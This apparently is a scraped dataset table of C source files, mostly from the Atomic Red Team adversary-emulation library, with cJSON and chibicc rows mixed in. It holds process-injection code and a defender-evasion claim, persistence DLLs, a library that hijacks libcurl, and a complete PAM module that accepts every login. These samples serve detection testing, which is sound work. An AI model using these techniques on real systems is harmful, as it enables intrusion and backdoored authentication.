repo_full_name stringlengths 6 93 | repo_url stringlengths 25 112 | repo_api_url stringclasses 28
values | owner stringclasses 28
values | repo_name stringclasses 28
values | description stringclasses 28
values | stars int64 617 98.8k | forks int64 31 355 ⌀ | watchers int64 990 999 ⌀ | license stringclasses 2
values | default_branch stringclasses 2
values | repo_created_at timestamp[s]date 2012-07-24 23:12:50 2025-06-16 08:07:28 ⌀ | repo_updated_at timestamp[s]date 2026-02-23 15:23:15 2026-05-03 18:52:12 ⌀ | repo_topics listlengths 0 13 ⌀ | repo_languages unknown | is_fork bool 1
class | open_issues int64 3 104 ⌀ | file_path stringlengths 3 208 | file_name stringclasses 509
values | file_extension stringclasses 1
value | file_size_bytes int64 101 84k ⌀ | file_url stringclasses 627
values | file_raw_url stringclasses 627
values | file_sha stringclasses 624
values | language stringclasses 8
values | parsed_at stringdate 2026-05-04 01:12:36 2026-05-04 19:41:55 | text stringlengths 100 102k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
DaveGamble/cJSON | https://github.com/DaveGamble/cJSON | null | null | null | null | 12,671 | null | null | mit | null | null | null | null | null | null | null | tests/unity/examples/example_3/helper/UnityHelper.c | null | null | null | null | null | null | C | 2026-05-04T18:47:43.619391 | #include "unity.h"
#include "UnityHelper.h"
#include <stdio.h>
#include <string.h>
void AssertEqualExampleStruct(const EXAMPLE_STRUCT_T expected, const EXAMPLE_STRUCT_T actual, const unsigned short line)
{
UNITY_TEST_ASSERT_EQUAL_INT(expected.x, actual.x, line, "Example Struct Failed For Field x");
UNITY_TEST_... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1040/src/macos_pcapdemo.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.410337 | #include <fcntl.h>
#include <getopt.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/bpf.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/udp.... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.002/src/RedInjection.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.425371 | /*
PE Injector for Atomic Red Team Process Injection: Portable Executable Injection (T1055.002).
As per MITRE documentation "PE injection is a method of executing arbitrary code in the address space of a separate live process."
Code injects a message box PE into a remote process (notepad.exe) and run with pCreateRemot... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1027.004/src/T1027-004-test.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.452917 | #include <stdio.h>
int main() {
printf("T1027-004-test.c has compiled and executed");
return 0;
}
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1036.004/src/prctl_rename.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.475433 | #include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
int
main (int argc, const char* const argv[])
{
const char *new_name = "totally_legit";
if (prctl(PR_SET_NAME, new_name, 0, 0, 0) < 0) {
perror("prctl");
return 4;
}
usleep(3*1000000);
... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1027.002/src/test.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.476005 | #include <stdio.h>
#include <unistd.h>
#include "test.h"
int main() {
printf("the cake is a lie\n");
return 0;
}
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1040/src/freebsd_pcapdemo.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.482525 | #include <fcntl.h>
#include <getopt.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/bpf.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/udp.... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1027.007/src/ninja_syscall1.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.484188 | /**
Author: Thomas X Meng
Atomic Red Team
T1027.007: Obfuscated Files or Information: Dynamic API Resolution
Ninja syscall code execution technique. Ninja syscall 1 dynamically resolves the native API function call’s RVA from ntdll on disk
by its hash value. It uses CityHash, a lightweight cryptography method, to avoi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1014/src/Linux/T1014.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.506189 | /*
* Source from https://linux.die.net/lkmpg/x121.html
* hello.c - The simplest kernel module.
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
MODULE_LICENSE("GPL");
int init_module(void)
{
printk(KERN_INFO "Atomic kernel module T1014 loaded.\n");
... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1040/src/linux_pcapdemo.c | null | null | null | null | null | null | C | 2026-05-04T18:47:46.507353 | #include <errno.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <linux/filter.h>
#include <netinet/ether.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#inc... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1027.002/src/test.h | null | null | null | null | null | null | C | 2026-05-04T18:47:46.538437 | #ifndef TEST_H
// The following variable is used only so that the binary is big
// enough to be compressed by UPX.
// On Linux, an alternative is to remove this and use -static option
// while compiling in gcc.
char *USELESS_VAR = " Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus varius dolor in nisi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.004/src/Linux/T1055.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.026188 | /*
Atomic Red Team Shared Object Library
Uses code inspired by Zombie Ant Farm (https://github.com/dsnezhkov/zombieant)
Compilation
-------------
gcc -shared -fPIC -o ../bin/T1055.so T1055.c
*/
#include <stdio.h>
static void init(int argc, char **argv, char **envp) {
printf("Loaded Atomic Red... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.003/src/InjectContext.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.033355 | /*
Injector for Atomic Red Team leveraging thread context hijacking (T1055.003) to inject shellcode in Notepad.exe.
Author: traceflow@0x8d.cc
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Atomic Red Team" -f csharp
unsign... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.011/src/ntlib/nttpp.h | null | null | null | null | null | null | C | 2026-05-04T18:47:47.065697 | /**
Copyright © 2019 Odzhan. All Rights Reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the followi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.011/src/payload.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.085506 | /**
Copyright © 2018 Odzhan. All Rights Reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the followi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.011/src/ewm.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.108034 | /**
Copyright © 2018 Odzhan. All Rights Reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the followi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.011/src/ewm.h | null | null | null | null | null | null | C | 2026-05-04T18:47:47.108561 | // Source: https://github.com/odzhan/injection
#pragma once
// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray;
DWORD readpic(... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.011/src/ntlib/util.h | null | null | null | null | null | null | C | 2026-05-04T18:47:47.144093 | /**
Copyright © 2019 Odzhan. All Rights Reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the followi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055/src/x64/RWXInjection/path_finder.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.151113 | /**
Author: Thomas X Meng
The code scans for PE sections with WRX permission. It does it sequentially which
is not as efficient as parallel processing. I did not find a equivalent 3rd lib in C as pefile
Windows defender bypassed, engine Version: 1.1.23100.2009
**/
#include <windows.h>
#include <stdio.h>
#include <win... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055/src/x64/InjectView/InjectView.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.152817 | /*
Injector for Atomic Red Team leveraging code injection using NtCreateSection, NtMapViewOfSection and RtlCreateUserThread.
Author: traceflow@0x8d.cc
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Atomic Red Team" -f csh... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055.015/src/listPlanting.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.185114 | /*
MITRE T1055.015
Code injection ListPlanting
Author: Thomas X Meng
ListPlanting is a method of executing arbitrary code in the address space
of a remote benign process. Code executed via ListPlanting may also evade
detection from security products since the execution is masked under a legitimate
process and trigge... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1137.006/src/excelxll/excelxll/framework.h | null | null | null | null | null | null | C | 2026-05-04T18:47:47.997832 | #pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055/src/x64/RedVanity/redVanity.c | null | null | null | null | null | null | C | 2026-05-04T18:47:47.999285 | /*
Dirty Vanity process injection technique for Atomic Read Team. DV used VirtualAllocEx --> WriteProcessMemory --> RtlCreateProcessReflection
to circumvent the sequence of VirtualAllocEx --> WriteProcessMemory --> CreateRemoteThread
Hat off to the founder of DV technique: Eliran Nissan
*/
#include "vanity.... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1134.004/src/calc.c | null | null | null | null | null | null | C | 2026-05-04T18:47:48.000203 | #include <stdio.h>
#include <windows.h>
void main(void)
{
system("calc.exe");
return;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
main();
break;
}
case DLL_THREAD_ATTACH:
break;
case DLL_TH... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1137.002/src/officetest/officetest/framework.h | null | null | null | null | null | null | C | 2026-05-04T18:47:48.007625 | #pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055/src/x64/RedVanity/vanity.h | null | null | null | null | null | null | C | 2026-05-04T18:47:48.009370 | //Check my codes for any errors, this is C code.
#pragma once
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <ntstatus.h>
#ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED
#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001
#endif
#ifndef RTL_CLONE_PROCESS_FLAGS_INHER... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055/src/x64/RWXInjection/rwx_local.c | null | null | null | null | null | null | C | 2026-05-04T18:47:48.010726 | /**
Author: Thomas X Meng
Atomic Red Team
RWX Process Injection code, AKA MockingJay
reference: SecurityJoes,
https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution
No memory allocation or permission settings APIs.
**/
#include <windows.h>
#include <psapi.h>
#include <... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1055/src/x64/uuidInjection/uuid_injection.c | null | null | null | null | null | null | C | 2026-05-04T18:47:48.038959 | /**
Author: Thomas X Meng
Atomic Red Team
UUIDs Process Injection code, only one API call to EnumSystemLocalesA required.
No virtual memory allocation, no permission settings, no CreateThread, no WriteProcessMemory
No UuidFromStringA, no RPCRT4.dll, no signatures
reference: NCC Group,
https://research.nccgroup.com/20... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1137.006/src/wordwll/wordwll/framework.h | null | null | null | null | null | null | C | 2026-05-04T18:47:48.170351 | #pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1547.006/src/T1547006.c | null | null | null | null | null | null | C | 2026-05-04T18:47:49.093311 | /*
* Source from https://linux.die.net/lkmpg/x121.html
* hello.c - The simplest kernel module.
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
MODULE_LICENSE("GPL");
int init_module(void)
{
printk(KERN_INFO "Atomic kernel module T1547.006 loaded.\n... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1546.009/src/AtomicTest.c | null | null | null | null | null | null | C | 2026-05-04T18:47:49.094919 | /*
Atomic Test T1546.009
Author: traceflow (Twitter: @traceflow_ Email: traceflow@0x8d.cc)
https://github.com/tr4cefl0w
Credits: https://skanthak.homepage.t-online.de/appcert.html
*/
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "user32")
typedef enum _REASON
{
PROC... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1547.003/src/AtomicTest.c | null | null | null | null | null | null | C | 2026-05-04T18:47:49.096564 | /*
Atomic Test T1547.003
Author: traceflow
https://github.com/tr4cefl0w
Credits: https://github.com/scottlundgren/w32time
https://pentestlab.blog/2019/10/22/persistence-time-providers/
Resources: https://docs.microsoft.com/en-us/windows/win32/sysinfo/creating-a-time-provi... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1222.002/src/chown.c | null | null | null | null | null | null | C | 2026-05-04T18:47:49.097582 | #include <errno.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, const char * argv[]) {
if (argc < 2) {
printf("usage: %s </path/to/file>\n", argv[0]);
return 2;
}
//change user and group to root
const char *filepath = argv[1];
int rv = chown(filepath, 0, 0);
if (0 != r... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1137.006/src/wordwll/wordwll/pch.h | null | null | null | null | null | null | C | 2026-05-04T18:47:49.098827 | // pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is upda... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1547.002/src/package/package.c | null | null | null | null | null | null | C | 2026-05-04T18:47:49.101360 | /*
Payload for TT1547.002 (Authentication Package)
Author: tr4cefl0w
*/
#include <ntstatus.h>
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")
int Run(void) {
STARTUPINFO si={... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1222.002/src/T1222.002.c | null | null | null | null | null | null | C | 2026-05-04T18:47:49.131099 | #include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
if (argc < 3) {
printf("usage: %s </path/to/dir> <filename>\n", argv[0]);
return 2;
}
const char *dirpath = argv[1];
const c... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1137.002/src/officetest/officetest/pch.h | null | null | null | null | null | null | C | 2026-05-04T18:47:49.541568 | // pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is upda... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1137.006/src/excelxll/excelxll/pch.h | null | null | null | null | null | null | C | 2026-05-04T18:47:49.761467 | // pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is upda... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1547.012/src/AtomicTest.c | null | null | null | null | null | null | C | 2026-05-04T18:47:50.132322 | #include <windows.h>
#include <stdio.h>
#define DllExport __declspec(dllexport)
__declspec(dllexport) void PayloadFunction()
{
HANDLE hFile;
hFile = CreateFile("C:\\Users\\Public\\AtomicTest.txt",
GENERIC_WRITE,
0,
NULL,
... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1556.003/src/pam_evil.c | null | null | null | null | null | null | C | 2026-05-04T18:47:50.133508 | #include <security/pam_modules.h>
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
return PAM_SUCCESS;
}
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1574.006/src/Linux/T1574.006.c | null | null | null | null | null | null | C | 2026-05-04T18:47:50.245030 | /*
Atomic Red Team Shared Object Library
Uses code inspired by Zombie Ant Farm (https://github.com/dsnezhkov/zombieant)
Compilation
-------------
gcc -shared -fPIC -o ../bin/T1574.006.so T1055.c
*/
#include <stdio.h>
static void init(int argc, char **argv, char **envp) {
printf("Loaded Atomic... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1574.006/src/MacOS/T1574.006.c | null | null | null | null | null | null | C | 2026-05-04T18:47:50.435000 | #include <stdio.h>
#include <stdlib.h>
int system(const char *command);
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
system("open -a Calculator.app");
}
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1574.012/src/atomicNotepad/pch.h | null | null | null | null | null | null | C | 2026-05-04T18:47:50.785640 | // pch.h: This is a precompiled header file.
// Files listed below are compiled only once, improving build performance for future builds.
// This also affects IntelliSense performance, including code completion and many code browsing features.
// However, files listed here are ALL re-compiled if any one of them is upda... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1574.012/src/atomicNotepad/framework.h | null | null | null | null | null | null | C | 2026-05-04T18:47:50.786266 | #pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files
#include <windows.h>
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1547.010/src/PortMonitor.c | null | null | null | null | null | null | C | 2026-05-04T18:47:50.815770 | /*
Port Monitor DLL for T1547.010.
Author: traceflow@0x8d.cc
github.com/traceflow
*/
#include <Windows.h>
#include <Winsplp.h>
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
switch ( fdwReason ) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
bre... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1547.006/src/macos_kextload.c | null | null | null | null | null | null | C | 2026-05-04T18:47:54.318443 | #include <IOKit/kext/KextManager.h>
int main(int argc, char *argv[])
{
CFStringRef path = CFStringCreateWithCString(kCFAllocatorDefault, "/Library/Extensions/SoftRAID.kext", kCFStringEncodingUTF8);
CFURLRef url = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, true);
OSReturn result ... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1553.003/src/GTSIPProvider.c | null | null | null | null | null | null | C | 2026-05-04T18:47:54.721918 | #pragma comment(lib, "Crypt32.lib")
#include <Windows.h>
#include <tchar.h>
#include <mssip.h>
#include <Psapi.h>
#define DLLEXPORT __declspec(dllexport)
GUID guid_GTSIP =
{
0x00000000, 0xDEAD, 0xBEEF, {0xDE, 0xAD, 0xDE, 0xAD, 0xBA, 0xBE, 0xCA, 0xFE}
};
DLLEXPORT
STDAPI
DllRegisterServer(VOID)
{
TCHAR strMsg[1024... |
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1548.001/src/hello.c | null | null | null | null | null | null | C | 2026-05-04T18:47:54.905729 | #include <stdio.h>
#include <unistd.h>
int main()
{
printf("Hello\n");
sleep(5);
printf("Don't run random binaries!\n");
return 0;
}
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1548.001/src/cap.c | null | null | null | null | null | null | C | 2026-05-04T18:47:54.906222 | #include <stdio.h>
#include <unistd.h>
int main()
{
sleep(5);
setuid(0);
printf("UID: %d\n", getuid());
return 0;
}
|
redcanaryco/atomic-red-team | https://github.com/redcanaryco/atomic-red-team | null | null | null | null | 11,895 | null | null | mit | null | null | null | null | null | null | null | atomics/T1574.001/src/libcurl.c | null | null | null | null | null | null | C | 2026-05-04T18:47:54.945165 | #include <stdio.h>
#include <windows.h>
extern __declspec(dllexport) void curl_easy_setopt(void){ return; }
extern __declspec(dllexport) void curl_easy_cleanup(void) { return; }
extern __declspec(dllexport) void curl_easy_duphandle(void) { return; }
extern __declspec(dllexport) void curl_easy_escape(void) { return; }
... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | include/stdalign.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.656252 | #ifndef __STDALIGN_H
#define __STDALIGN_H
#define alignas _Alignas
#define alignof _Alignof
#define __alignas_is_defined 1
#define __alignof_is_defined 1
#endif
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | include/float.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.658334 | #ifndef __STDFLOAT_H
#define __STDFLOAT_H
#define DECIMAL_DIG 21
#define FLT_EVAL_METHOD 0 // C11 5.2.4.2.2p9
#define FLT_RADIX 2
#define FLT_ROUNDS 1 // C11 5.2.4.2.2p8: to nearest
#define FLT_DIG 6
#define FLT_EPSILON 0x1p-23
#define FLT_MANT_DIG 24
#define FLT_MAX 0x1.fffffep+127
#define FLT_MAX_10_EXP 38
#de... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | include/stdbool.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.658892 | #ifndef __STDBOOL_H
#define __STDBOOL_H
#define bool _Bool
#define true 1
#define false 0
#define __bool_true_false_are_defined 1
#endif
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | chibicc.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.660545 | #define _POSIX_C_SOURCE 200809L
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <glob.h>
#include <libgen.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdnoreturn.h>
#include <string.h>
#include <strings.h>
#include <sys/stat.h>
#inc... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | include/stdarg.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.662190 | #ifndef __STDARG_H
#define __STDARG_H
typedef struct {
unsigned int gp_offset;
unsigned int fp_offset;
void *overflow_arg_area;
void *reg_save_area;
} __va_elem;
typedef __va_elem va_list[1];
#define va_start(ap, last) \
do { *(ap) = *(__va_elem *)__va_area__; } while (0)
#define va_end(ap)
static void *... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | hashmap.c | null | null | null | null | null | null | C | 2026-05-04T18:47:57.667684 | // This is an implementation of the open-addressing hash table.
#include "chibicc.h"
// Initial hash bucket size
#define INIT_SIZE 16
// Rehash if the usage exceeds 70%.
#define HIGH_WATERMARK 70
// We'll keep the usage below 50% after rehashing.
#define LOW_WATERMARK 50
// Represents a deleted hash entry
#define ... |
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | include/stddef.h | null | null | null | null | null | null | C | 2026-05-04T18:47:57.668589 | #ifndef __STDDEF_H
#define __STDDEF_H
#define NULL ((void *)0)
typedef unsigned long size_t;
typedef long ptrdiff_t;
typedef unsigned int wchar_t;
typedef long max_align_t;
#define offsetof(type, member) ((size_t)&(((type *)0)->member))
#endif
|
rui314/chibicc | https://github.com/rui314/chibicc | null | null | null | null | 11,595 | null | null | mit | null | null | null | null | null | null | null | codegen.c | null | null | null | null | null | null | C | 2026-05-04T18:47:57.669828 | #include "chibicc.h"
#define GP_MAX 6
#define FP_MAX 8
static FILE *output_file;
static int depth;
static char *argreg8[] = {"%dil", "%sil", "%dl", "%cl", "%r8b", "%r9b"};
static char *argreg16[] = {"%di", "%si", "%dx", "%cx", "%r8w", "%r9w"};
